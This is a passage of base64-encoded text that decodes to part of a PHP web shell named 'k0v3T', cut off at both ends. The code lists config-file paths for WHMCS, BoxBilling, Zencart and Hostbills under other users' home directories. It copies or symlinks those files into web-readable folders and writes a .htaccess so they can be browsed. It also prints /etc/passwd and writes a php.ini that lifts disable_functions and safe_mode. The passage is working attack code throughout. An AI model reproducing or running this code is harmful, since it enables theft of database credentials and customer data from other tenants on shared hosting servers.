zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kb21haW4vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5j